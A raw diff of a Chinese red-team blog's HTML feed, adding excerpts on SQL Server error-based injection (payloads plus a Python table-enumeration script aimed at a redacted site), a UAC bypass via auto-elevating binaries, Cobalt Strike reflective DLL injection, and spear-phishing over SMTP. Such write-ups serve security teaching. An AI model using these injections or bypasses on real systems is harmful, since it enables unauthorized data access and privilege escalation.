style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>popup event_say { +</span></span><span style="display:flex;"><span> item(&#34;&amp;Say&#34;, { +</span></span><span style="display:flex;"><span> say(); +</span></span><span style="display:flex;"><span> }); +</span></span><span style="display:flex;"><span> separator(); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>紧接着还有一个重要的菜单函数:<code>menubar(&quot;Event-Say&quot;, &quot;event_say&quot;);</code></p>SQL Server注入 - STUFF与XML Pathhttps://payloads.online/archivers/2020-03-02/3/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/3/<h2 id="背景">背景</h2> <p>某次XX,发现一处SQL Server注入点</p> <h2 id="报错注入">报错注入</h2> <p>SQL Server注入,一般也是先找库、再找表、再查字段、最终查询数据。</p> @@ -1304,7 +2529,55 @@ <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 -</span></code></pr红队分享-如何挖掘Windows Bypass UAC(第一课)https://payloads.online/archivers/2020-03-02/2/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/2/<h2 id="什么是uac">什么是UAC</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> (<span style="color:#66d9ef">SELECT</span> top <span style="color:#ae81ff">1</span> Name <span style="color:#66d9ef">FROM</span> Master..SysDatabases <span style="color:#66d9ef">where</span> name <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">in</span> (<span style="color:#e6db74">&#39;master&#39;</span>))<span style="color:#f92672">&gt;</span><span style="color:#ae81ff">0</span> <span style="color:#75715e">-- +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>其中,NOT IN的集合会不断增加,最终无法查出其他结果,那么这个集合就是所有的数据库名称。</p> +<h2 id="查表">查表</h2> +<p>在这一步,我们就可以自动化实现了:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests +</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>table_list <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;&#39;</span>] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_sqlserver_table</span>(table_list, table_num): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> num <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>,table_num): +</span></span><span style="display:flex;"><span> <span style="color:#75715e"># print(&#34;&#39;,&#39;&#34;.join(table_list))</span> +</span></span><span style="display:flex;"><span> sql_str <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;and (select top 1 name from [xxxx].sys.all_objects where type=&#39;U&#39; AND is_ms_shipped=0 and name not in (&#39;</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#39;))&gt;0&#34;</span><span style="color:#f92672">.</span>format(<span style="color:#e6db74">&#34;&#39;,&#39;&#34;</span><span style="color:#f92672">.</span>join(table_list)) +</span></span><span style="display:flex;"><span> url <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://www.xxxxx.cn/x.aspx?cid=1&#39; </span><span style="color:#e6db74">{}</span><span style="color:#e6db74"> AND &#39;aNmV&#39;=&#39;aNmV&#34;</span><span style="color:#f92672">.</span>format(sql_str) +</span></span><span style="display:flex;"><span> r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(url, headers <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;User-Agent&#39;</span>: <span style="color:#e6db74">&#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36&#39;</span>}) +</span></span><span style="display:flex;"><span> res <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>search(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">(.*)</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">&#39;</span>, r<span style="color:#f92672">.</span>content<span style="color:#f92672">.</span>decode(<span style="color:#e6db74">&#39;utf-8&#39;</span>), re<span style="color:#f92672">.</span>M<span style="color:#f92672">|</span>re<span style="color:#f92672">.</span>I) +</span></span><span style="display:flex;"><span> table_name <span style="color:#f92672">=</span> str(res<span style="color:#f92672">.</span>group(<span style="color:#ae81ff">1</span>)) +</span></span><span style="display:flex;"><span> table_list<span style="color:#f92672">.</span>append(table_name) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#34;[</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">] - TableName: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(str(r<span style="color:#f92672">.</span>status_code), table_name)) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>: +</span></span><span style="display:flex;"><span> get_sqlserver_table(table_list, <span style="color:#ae81ff">16</span>) +</span></span></code></pre></td></tr></table> +</div> +</div><p>当取得第16个的时候,还是没有出现用户表、管理员表等,而且网站抛出了错误,无法继续取,突然没有其他办法了。</p>红队分享-如何挖掘Windows Bypass UAC(第一课)https://payloads.online/archivers/2020-03-02/2/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/2/<h2 id="什么是uac">什么是UAC</h2> <p>用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。</p> <p>先观察一下:</p> <ul> @@ -1344,7 +2617,71 @@ <li>非 Windows 二进制文件的同意提示:(默认设置)当非 Microsoft 应用程序的某个操作需要提升权限时,选择“允许”提升权限。</li> </ul> <h2 id="为什么有的应用程序不需要提示uac">为什么有的应用程序不需要提示UAC?</h2> -<p>因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。</p>通过反射DLL注入来构建后渗透模块(第一课)https://payloads.online/archivers/2020-03-02/1/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/1/<h2 id="aggressor-script">Aggressor Script</h2> +<p>因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。</p> +<p>如果当前用户的用户组权限不是管理员,提权操作是要求输入管理员密码的,这点和在Linux中的相应操作类似。</p> +<ul> +<li>程序只能在运行前要求提权。如果已经在运行了,那么将失去申请提权的能力</li> +<li>权限提升仅对此次进程有效</li> +</ul> +<p>提升权限的操作大致有两个:</p> +<ul> +<li>自动提权请求</li> +<li>手动提权请求</li> +</ul> +<p>手动提权就是“以管理员身份运行”,自动提权请求就是程序本身就一运行就开始申请权限,如:注册表编辑器</p> +<p>在开发的过程中,程序员若要开发一个程序,可以在编译器配置,写入一个配置文件,用于向系统标识该应用程序是必须要管理员权限运行的。</p> +<h3 id="manifest文件">manifest文件</h3> +<p>这个文件本质上是一个XML文件,用于标识当前应用程序的配置属性。</p> +<p> + <img src="https://images.payloads.online/8d18d466-4f5f-11ec-a514-00d861bf4abb.png" alt="2020-03-01-11-30-21"> + +</p> +<ul> +<li>aslnvoker 默认权限</li> +<li>highestAvailable 最高权限</li> +<li>requireAdministrator 必须是管理员权限</li> +</ul> +<p>我编译选项调整为requireAdministrator,当用户运行程序后,将获得管理员权限会话,不需要绕过UAC了。</p> +<p>manifest中其实还有其他属性,如:autoElevate(自动提升)</p> +<p><strong>拥有自动权限提升属性的文件,当默认以管理员权限运行,不需要经过用户的授权。</strong></p> +<h2 id="寻找auto-elevate">寻找auto Elevate</h2> +<p>工具地址:https://github.com/g3rzi/Manifesto</p> +<p> + <img src="https://images.payloads.online/8da15bba-4f5f-11ec-8638-00d861bf4abb.png" alt="2020-03-01-11-30-30"> + +</p> +<p>通过不断遍历autoElevate属性,寻找自动权限提升的程序。</p> +<p> + <img src="https://images.payloads.online/8ded3224-4f5f-11ec-811d-00d861bf4abb.png" alt="2020-03-01-11-30-37"> + +</p> +<p>我使用Powershell启动:C:\Windows\system32\eudcedit.exe</p> +<p> + <img src="https://images.payloads.online/8e2829b0-4f5f-11ec-8f21-00d861bf4abb.png" alt="2020-03-01-11-30-50"> + +</p> +<p>发现没有弹出UAC确认,没有继承Powershell的权限,它的权限是High。</p> +<p>假设,如果C:\Windows\system32\eudcedit.exe存在一个DLL劫持漏洞,那么普通用户就可以用低权限绕过UAC确认,以高权限执行任意代码。</p> +<h2 id="手动bypass-uac">手动Bypass UAC</h2> +<p> + <img src="https://images.payloads.online/8e643284-4f5f-11ec-b3f3-00d861bf4abb.png" alt="2020-03-01-11-31-01"> + +</p> +<p>C:\Windows\system32\odbcad32.exe 该程序用于配置ODBC数据源,但提供了一个输入点,那就是文件浏览器,通过文件浏览器我们可以打开一个管理员权限的Powershell。</p> +<p> + <img src="https://images.payloads.online/8eb26f12-4f5f-11ec-ad7f-00d861bf4abb.png" alt="2020-03-01-11-31-10"> + +</p> +<p> + <img src="https://images.payloads.online/8eef7e84-4f5f-11ec-bff5-00d861bf4abb.png" alt="2020-03-01-11-31-20"> + +</p> +<p>使用Powershell启动其他程序,也都是以管理员权限运行:</p> +<p> + <img src="https://images.payloads.online/8f2ae96a-4f5f-11ec-b687-00d861bf4abb.png" alt="2020-03-01-11-31-27"> + +</p> +<p>下一章,将分析几个UAC的绕过例子。</p>通过反射DLL注入来构建后渗透模块(第一课)https://payloads.online/archivers/2020-03-02/1/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/1/<h2 id="aggressor-script">Aggressor Script</h2> <p>Aggressor Script是Cobalt Strike 3.0版本以上的一个内置脚本语言,由<a href="http://sleep.dashnine.org/manual">Sleep</a>语言解析,Cobalt Strike 3.0以上版本的菜单、选项、事件都由default.cna构建。红队人员可以通过它来调用一些IRC、Webhook接口去对接机器人,实现自动化渗透与监控,Aggressor Script是Cobalt Strike这款C2平台的画龙点睛之笔。</p> <p>对于Python、C/C++爱好者来说,Sleep语言一开始接触的时候感觉很奇怪,会有很多想吐槽的点,但久而久之,就会发现它的便捷之处。</p> <h2 id="反射-dll注入">反射 DLL注入</h2> @@ -1383,7 +2720,42 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 -</span></code></pr红队行动之鱼叉攻击-研究分享https://payloads.online/archivers/2020-02-05/1/Wed, 05 Feb 2020 00:00:00 +0000https://payloads.online/archivers/2020-02-05/1/<h2 id="演讲简介">演讲简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">DllMain</span>( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { +</span></span><span style="display:flex;"><span> BOOL bReturnValue <span style="color:#f92672">=</span> TRUE; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">switch</span>( dwReason ) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_QUERY_HMODULE: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>( lpReserved <span style="color:#f92672">!=</span> NULL ) +</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(HMODULE <span style="color:#f92672">*</span>)lpReserved <span style="color:#f92672">=</span> hAppInstance; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_PROCESS_ATTACH: +</span></span><span style="display:flex;"><span> hAppInstance <span style="color:#f92672">=</span> hinstDLL; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* print some output to the operator */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (lpReserved <span style="color:#f92672">!=</span> NULL) { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Hello from test.dll. Parameter is &#39;%s&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)lpReserved); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Hello from test.dll. There is no parameter</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* flush STDOUT */</span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fflush</span>(stdout); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* we&#39;re done, so let&#39;s exit */</span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ExitProcess</span>(<span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_PROCESS_DETACH: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_THREAD_ATTACH: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_THREAD_DETACH: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> bReturnValue; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>很明显,这是一个DLL的主函数,在经过DLL_PROCESS_ATTACH的时候,开始执行代码。程序通过DLLMain函数的lpReserved来当做参数传递。</p>红队行动之鱼叉攻击-研究分享https://payloads.online/archivers/2020-02-05/1/Wed, 05 Feb 2020 00:00:00 +0000https://payloads.online/archivers/2020-02-05/1/<h2 id="演讲简介">演讲简介</h2> <p>《红队行动之鱼叉攻击》围绕着SMTP协议展开,为大家介绍SMTP相关的安全协议,同时会讲解鱼叉攻击的整体过程,以及模拟APT报告进行自动化、武器化的设计。在讲解的过程中,核心围绕Domain-Fronting和External C2这两类红队较为关注的技术,穿插一些HTTP协议相关的基础知识和木马的编写构建。</p> <h2 id="演讲目标">演讲目标</h2> <p>为大家分享SMTP协议相关的基础知识,使大家对邮件安全有一定了解,对未来可能遇到的邮件安全相关问题做一个知识储备,同时也更希望能让大家感受火热的技术氛围,热爱红队、热爱研究,不断攻克工作中遇到的难题。</p> @@ -1417,7 +2789,38 @@ <li>SSL SMTP默认端口:465</li> </ul> <h3 id="smtp相关安全协议---spf">SMTP相关安全协议 - SPF</h3> -<p>发件人策略框架(Sender Policy Framework , SPF)是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来外发邮件的所有IP地址。</p>2019年度总结随想https://payloads.online/archivers/2020-01-25/1/Sat, 25 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-25/1/<h2 id="关于我的自述">关于我的自述</h2> +<p>发件人策略框架(Sender Policy Framework , SPF)是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来外发邮件的所有IP地址。</p> +<p><a href="https://www.ietf.org/rfc/rfc4408.txt">https://www.ietf.org/rfc/rfc4408.txt</a></p> +<p><code>&quot;v=spf1 mx ip4:61.0.2.0/24 ~all&quot;</code></p> +<p>设置正确的 SPF 记录可以提高邮件系统发送外域邮件的成功率,也可以一定程度上防止别人假冒你的域名发邮件。</p> +<h3 id="smtp相关安全协议---dkim">SMTP相关安全协议 - DKIM</h3> +<p>DKIM是为了防止电子邮件欺诈的一种技术,同样依赖于DNS的TXT记录类型。这个技术需要将发件方公钥写入域名的TXT记录,收件方收到邮件后,通过查询发件方DNS记录找到公钥,来解密邮件内容。</p> +<p><a href="https://tools.ietf.org/html/rfc6376">https://tools.ietf.org/html/rfc6376</a></p> +<h3 id="smtp相关安全协议---dmarc">SMTP相关安全协议 - DMARC</h3> +<p>DMARC(Domain-based Message Authentication, Reporting &amp; Conformance)是txt记录中的一种,是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议,其核心思想是邮件的发送方通过特定方式(DNS)公开表明自己会用到的发件服务器(SPF)、并对发出的邮件内容进行签名(DKIM),而邮件的接收方则检查收到的邮件是否来自发送方授权过的服务器并核对签名是否有效。对于未通过前述检查的邮件,接收方则按照发送方指定的策略进行处理,如直接投入垃圾箱或拒收。</p> +<p> + <img src="https://images.payloads.online/844c8d82-4f5f-11ec-9aae-00d861bf4abb.png" alt="2020-02-05-07-06-09"> + +</p> +<p><a href="https://en.wikipedia.org/wiki/DMARC#Alignment">https://en.wikipedia.org/wiki/DMARC#Alignment</a></p> +<h2 id="smtp基础报文结构">SMTP基础报文结构</h2> +<p>这个报文结构需要拿出来重点的阐述一下。</p> +<p>以HTTP协议举例,HTTP协议中有状态码的概念,用于表示当前请求与响应的状态,通过状态码可以定位可能的问题所在,SMTP与HTTP非常相似,都是明文协议。早期SMTP协议的开发初衷是为了解决一个大学中实验室成员进行通信、留言的问题,但随着互联网的发展,SMTP的应用越来越广泛。</p> +<p>在SMTP协议中,也有状态码的概念,与HTTP协议相同,250表示邮件传送成功。整个SMTP报文分为两类:</p> +<ul> +<li>信封</li> +<li>信的内容</li> +</ul> +<p> + <img src="https://images.payloads.online/8484339a-4f5f-11ec-bd02-00d861bf4abb.png" alt="2020-02-05-07-06-19"> + +</p> +<p>注意观察,其中信封中有MAIL FROM,而信的内容中,也有MAIL FROM,这时问题就出现了。</p> +<h2 id="smtp-relay欺骗攻击">SMTP Relay欺骗攻击</h2> +<p> + <img src="https://images.payloads.online/84c18f92-4f5f-11ec-bc69-00d861bf4abb.png" alt="2020-02-05-07-06-29"> + +</p>2019年度总结随想https://payloads.online/archivers/2020-01-25/1/Sat, 25 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-25/1/<h2 id="关于我的自述">关于我的自述</h2> <p>2019年是我成长与变化最大的一年,从前的我从自闭、抑郁、不自信到今天,已经阳光到不行不行了,从上家单位离职时,依稀记得和领导说:“有问题我就去解决问题”,还真是乐观的冲锋派。</p> <hr> <p>如果让我用几个词总结2019,那么我会给出如下答案:青春、感动、视角、沉稳。</p> @@ -1450,7 +2853,62 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></prLinux权限维持之LD_PRELOADhttps://payloads.online/archivers/2020-01-01/1/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/1/<h2 id="ld_preload">LD_PRELOAD</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>VOID <span style="color:#a6e22e">msg</span>(VOID){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBox</span>(NULL,<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Test&#34;</span>),<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Hello&#34;</span>),MB_OK); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>这里我采用了Def文件来进行导出:</p> +<p> + <img src="https://images.payloads.online/81d0151a-4f5f-11ec-a1bd-00d861bf4abb.png" alt="2020-01-03-13-05-56"> + +</p> +<p> + <img src="https://images.payloads.online/820ac94e-4f5f-11ec-ba78-00d861bf4abb.png" alt="2020-01-03-13-06-15"> + +</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">VOID</span> (<span style="color:#f92672">*</span>msg)(VOID); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> msg RunMsg; +</span></span><span style="display:flex;"><span> HMODULE hBadCode <span style="color:#f92672">=</span> <span style="color:#a6e22e">LoadLibrary</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;BadCode-DLL.dll&#34;</span>)); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> RunMsg <span style="color:#f92672">=</span> (msg)<span style="color:#a6e22e">GetProcAddress</span>(hBadCode,<span style="color:#e6db74">&#34;msg&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">RunMsg</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">FreeLibrary</span>(hBadCode); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> 